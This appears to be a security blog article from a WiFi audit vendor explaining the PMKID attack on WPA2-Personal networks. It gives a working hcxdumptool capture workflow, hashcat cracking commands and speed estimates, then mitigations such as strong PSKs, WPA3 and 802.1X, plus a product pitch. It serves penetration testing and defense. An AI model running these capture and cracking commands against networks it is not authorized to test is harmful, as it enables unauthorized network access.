In August 2018, hashcat's lead developer Jens Steube published a side-discovery that rendered the classic WPA2 capture-and-crack workflow obsolete. The PMKID attack extracts a crackable hash from a single AP management frame — no waiting for a client, no deauthentication flood, no handshake. Six years later, most networks are still vulnerable.
Background: How WPA2-Personal Authentication Works
Before understanding the attack, you need the key derivation chain. When a client authenticates to a WPA2-Personal network, the following happens:
- Both the AP and the client independently derive the Pairwise Master Key (PMK) using PBKDF2-SHA1 over the PSK (password) and SSID:
PMK = PBKDF2(SHA1, PSK, SSID, 4096, 256) - They run a four-message exchange — the 4-way handshake — to authenticate each other and derive session keys without transmitting the PMK.
- The first EAPOL message from the AP contains a nonce (ANonce). The client sends back its own nonce (SNonce) plus a MIC (Message Integrity Code) computed from the PMK and both nonces.
Traditional WPA2 cracking captures messages 2 or 3 of this handshake and brute-forces the PSK offline. This requires an active client association — either waiting for a natural connection or forcing one with a deauth frame. The PMKID attack eliminates both requirements entirely.
What Is the PMKID and Where Does It Live?
The PMKID is a 128-bit identifier defined in IEEE 802.11-2016. Its purpose is to allow fast BSS transition (roaming) by letting an AP check whether it already has a cached PMK for a given client, avoiding a full re-authentication. It is computed as:
# PMKID derivation (RFC 5036 / IEEE 802.11-2016 §12.7.1.3)
PMKID = HMAC-SHA1-128(PMK, "PMK Name" || AP_MAC || Client_MAC)
# Where:
# PMK = PBKDF2(SHA1, PSK, SSID, 4096, 256)
# "PMK Name" is the literal ASCII string used as HMAC label
# AP_MAC = BSSID of the access point (6 bytes)
# Client_MAC = MAC of the requesting station (6 bytes)Critically, the PMKID is embedded in the RSN Information Element (RSN IE) of the first EAPOL frame that an AP sends during the association/authentication process — specifically in the optional PMKID List field. The AP broadcasts this value proactively, before any client credentials are verified.
Because the AP's MAC (BSSID) and client MAC are both observable on-air, and because "PMK Name" is a fixed ASCII constant, the only unknown in the HMAC equation is the PMK itself — which is derived deterministically from the PSK. An attacker who captures the PMKID can attempt offline PSK candidates, compute their PMK, recompute the PMKID, and compare. No handshake required.
This is not a protocol flaw in HMAC-SHA1. The weakness is architectural: the AP voluntarily includes the PMKID in its very first association response, and the PMKID is mathematically bound to the PSK. Any network where a weak or dictionary-guessable password is in use is fully exposed with a single captured frame.
Why This Changes the Threat Model
The classic attack required an adversary to either wait for a client to connect (potentially hours) or send 802.11 deauthentication frames to force a reconnect. Deauth is noisy — it causes visible client disruptions, generates IDS alerts on managed networks, and is illegal under computer misuse statutes in many jurisdictions even during authorized testing without explicit scope.
The PMKID attack removes all of that friction:
- No clients needed. The attacker only needs to be within range of the AP. The PMKID is present in the AP's response to any association request — including one the attacker generates themselves.
- No deauthentication. Zero client disruption. Fully passive from the network's perspective once the initial probe is sent.
- Single frame capture. Tools like
hcxdumptoolcan collect PMKIDs from dozens of APs in a matter of seconds during a wardriving pass. - Same cracking pipeline. The resulting hash (hashcat mode 22000 in the modern hc22000 format) feeds directly into GPU-accelerated cracking workflows already used for handshake cracking.
Which Access Points Are Vulnerable?
Any WPA2-Personal (PSK) access point that includes the PMKID in EAPOL frame 1 is vulnerable. In practice, this covers the vast majority of consumer and SMB hardware. Vendor behavior varies:
| Vendor / Platform | PMKID in EAPOL-1? | Notes |
|---|---|---|
| Cisco Meraki (consumer/SMB) | Yes (WPA2-PSK) | Mitigation: move to WPA3 or Enterprise |
| Ubiquiti UniFi | Yes (WPA2-PSK) | WPA3/WPA3-Transition available since 6.x firmware |
| TP-Link / Archer series | Yes | No PMKID suppression option in stock firmware |
| Netgear Nighthawk | Yes | WPA3 SAE available on Wi-Fi 6 models |
| WPA3-SAE only networks | N/A | Different key derivation; PMKID attack does not apply |
| WPA2-Enterprise (802.1X) | Not exploitable | PMK derived per-session from EAP, PSK not in use |
The safest assumption: if the network runs WPA2-Personal, it exposes a PMKID. Test it — don't assume the AP vendor suppresses it.
Capture and Crack Workflow
Step 1: Capture the PMKID with hcxdumptool
Use hcxdumptool (v6+). It handles monitor mode, channel hopping, and PMKID extraction automatically. Output is in pcapng format compatible with hcxtools and hashcat.
# Put interface in monitor mode (NetworkManager must be stopped)
systemctl stop NetworkManager
ip link set wlan0 down
iw wlan0 set monitor control
ip link set wlan0 up
# Capture PMKIDs — target a specific BSSID to reduce noise
hcxdumptool -i wlan0 \
-o target.pcapng \
--filterlist_ap=bssid_list.txt \
--filtermode=2 \
--enable_status=3
# Convert pcapng to hashcat 22000 format
hcxpcapngtool -o hashes.hc22000 target.pcapng
# Verify extraction — look for PMKID lines (type 1)
grep "^[0-9a-f]\{32\}\*[0-9a-f]\{12\}\*[0-9a-f]\{12\}" hashes.hc22000 | head -5Authorized testing only. Running hcxdumptool against networks you do not own or have explicit written authorization to test is illegal under the Computer Fraud and Abuse Act (US), Computer Misuse Act (UK), and equivalent statutes globally. For penetration testers: keep your signed scope document accessible during the engagement.
Step 2: Crack with hashcat (Mode 22000)
Hashcat's mode 22000 handles both PMKID hashes and traditional EAPOL handshakes in a unified format. The PBKDF2-SHA1 KDF is computationally expensive by design — 4096 iterations — but GPU acceleration still makes weak passwords very tractable.
# Dictionary attack with best64 rules — covers most real-world passwords
hashcat -m 22000 hashes.hc22000 /usr/share/wordlists/rockyou.txt \
-r /usr/share/hashcat/rules/best64.rule \
--status --status-timer=30
# Hybrid attack: wordlist + mask (e.g. Password2024)
hashcat -m 22000 hashes.hc22000 /usr/share/wordlists/rockyou.txt \
-a 6 -1 ?d?d?d?d ?w?1
# Targeted mask: 10-char alphanumeric (common router defaults)
# RTX 4090: ~1.6 M/s — 36^10 candidates = ~3.7 trillion — not feasible pure brute
# Focus: SSID-derived defaults (e.g. last 8 of MAC, serial patterns)
hashcat -m 22000 hashes.hc22000 \
-a 3 "?l?l?l?l?d?d?d?d" --increment
# Show cracked passwords
hashcat -m 22000 hashes.hc22000 --showOn a single RTX 4090, hashcat achieves roughly 1.6 million PMK candidates per second against mode 22000. Rockyou.txt (14 million entries) with best64 rules (~900 million candidates) completes in under 10 minutes. The practical implication: any password appearing in a common wordlist or following a simple pattern (word + year, word + special char) is recoverable.
Defender Mitigations
1. Use a Strong, Random PSK
The most immediate and universally applicable fix. A PSK generated as 20+ random alphanumeric characters (e.g. from openssl rand -base64 20) is not in any wordlist and is computationally infeasible to brute-force even with PMKID exposure. This alone stops the attack cold. Change it from the factory default immediately — many ISP-provided routers use MAC-derived or serial-derived defaults that have published generation algorithms.
2. Migrate to WPA3-SAE
WPA3's Simultaneous Authentication of Equals (SAE) handshake uses a Dragonfly key exchange. The PMK is derived per-session and is not a simple deterministic function of the PSK — the offline cracking model does not apply. On Wi-Fi 6 (802.11ax) hardware, WPA3 is available in most enterprise-grade firmware. Enable WPA2/WPA3 Transition Mode if you have legacy clients, but be aware transition mode still accepts WPA2 associations from PMKID-exposed paths on the WPA2 side.
3. 802.11w PMF — What It Does and Doesn't Do
802.11w Protected Management Frames (PMF) encrypts and authenticates management frames (deauth, disassoc, action frames). This directly prevents the classic deauth-and-capture WPA2 attack by making spoofed deauthentication frames detectable and rejectable by compliant clients. However, PMF does not suppress or modify the PMKID in EAPOL frames. It does not prevent PMKID capture.
Where PMF matters for PMKID defense: setting PMF to required (not just capable/optional) forces WPA3-SAE negotiation on capable clients on mixed networks. On some enterprise controllers (Cisco WLC, Aruba, Ruckus), PMF-required combined with WPA3 transition policy can effectively block WPA2 associations entirely for capable clients, removing the PMKID exposure surface for those clients.
4. Move Critical Networks to WPA2-Enterprise (802.1X)
WPA2-Enterprise with EAP (PEAP, EAP-TLS) derives per-session PMKs from the EAP exchange. There is no shared PSK to leak via PMKID. The PMKID is still computed and present in EAPOL-1, but it is derived from a per-session, per-user PMK — cracking it yields nothing reusable. For any network carrying sensitive traffic (finance, healthcare, executive), the PSK model should be retired entirely.
| Mitigation | Stops PMKID Capture? | Stops Cracking? | Complexity |
|---|---|---|---|
| Strong random PSK (20+ chars) | No | Yes (practically) | Low |
| WPA3-SAE only | Yes | Yes | Medium |
| 802.11w PMF required | No (alone) | No (alone) | Low |
| WPA3 + PMF required | Yes | Yes | Medium |
| WPA2-Enterprise (802.1X) | Irrelevant | Yes | High |
Quick win for auditors: When testing a client network, run hcxpcapngtool --pmkid on your capture and check whether PMKIDs are present. If they are, and the network uses WPA2-Personal, flag it as high severity regardless of password strength — the exposure is structural. Document both the PMKID presence and the cracking risk as separate findings.
Integrating PMKID Testing Into Your Audit Workflow
For pentesters and MSPs running structured WiFi audits, PMKID capture should be a first-pass step before any handshake capture attempt. It is faster, less disruptive, and produces the same crackable artifact. The wifiaudit.io API accepts hc22000 format directly — upload the hash file alongside your pcapng and the platform handles the cracking pipeline, password strength analysis, and compliance report generation automatically.
FAQ
What is the PMKID attack and who discovered it?
The PMKID attack was discovered by Jens Steube (hashcat lead developer) in August 2018 as a side-discovery while researching WPA3 security. It extracts a crackable HMAC-SHA1 value from the RSN Information Element in the first EAPOL frame sent by an AP during association. Unlike traditional WPA2 cracking, it requires no connected clients and no deauthentication — just a single frame from the access point.
Does the PMKID attack work against WPA3?
No. WPA3-SAE (Simultaneous Authentication of Equals) uses a Dragonfly key exchange. The PMK is derived per-session through a zero-knowledge proof protocol — it is not a deterministic function of the PSK that can be recomputed offline from a captured PMKID. WPA3 Transition Mode networks (mixed WPA2/WPA3) can still be attacked on the WPA2 side of the negotiation if WPA2 associations are permitted.
How fast can hashcat crack a PMKID hash?
On a single RTX 4090, hashcat achieves roughly 1.6 million PMK candidates per second against hash mode 22000. Rockyou.txt with best64 rules (~900 million candidates) completes in under 10 minutes. An 8-character lowercase alphanumeric password space (36^8 ≈ 2.8 trillion candidates) takes around 20 days of pure brute-force — but dictionary and hybrid attacks find the vast majority of real-world passwords in minutes to hours. PBKDF2-SHA1 with 4096 iterations is intentionally slow, but it is not slow enough to protect weak passwords against modern GPU rigs.
Does enabling 802.11w PMF prevent the PMKID attack?
Not directly. The PMKID is present in EAPOL frames regardless of PMF status. PMF protects management frames (deauth, disassoc) from spoofing — it does not modify the EAPOL key exchange or suppress PMKID advertisement. The most effective defense is a long random PSK combined with WPA3-SAE. Setting PMF to mandatory is valuable (it prevents deauth attacks), but it does not close the PMKID exposure on WPA2-Personal networks by itself.
Test Your Networks for PMKID Exposure
Upload a pcapng or hc22000 file and get a full compliance report — password strength analysis, PMKID exposure flags, NIS2 and ISO 27001 mapping, and actionable remediation steps.
Get API Key — 3 Audits Free